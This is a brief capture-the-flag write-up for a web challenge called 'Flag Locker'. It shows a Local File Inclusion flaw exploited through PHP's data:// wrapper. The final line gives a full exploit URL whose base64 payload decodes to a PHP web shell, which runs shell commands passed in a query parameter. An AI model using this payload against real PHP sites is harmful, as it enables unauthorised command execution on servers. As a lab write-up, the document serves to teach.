Tags: websec web200 web 

Rating:

# Flag Locker

The flag locker challenge was a fun Local File Inclusion

Looking at the URL I saw the page include : `locker=why` and `locker=privacy`

![Imgur](https://i.imgur.com/755yLSX.png)

We can easily get the flag with the `data://text/plain;base64`

Let's encode a basic php function :

![Imgur](https://i.imgur.com/YSBtqPB.png)

Now we can run `103.5.112.91:1234/?cmd=grep flag index.php&locker=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=`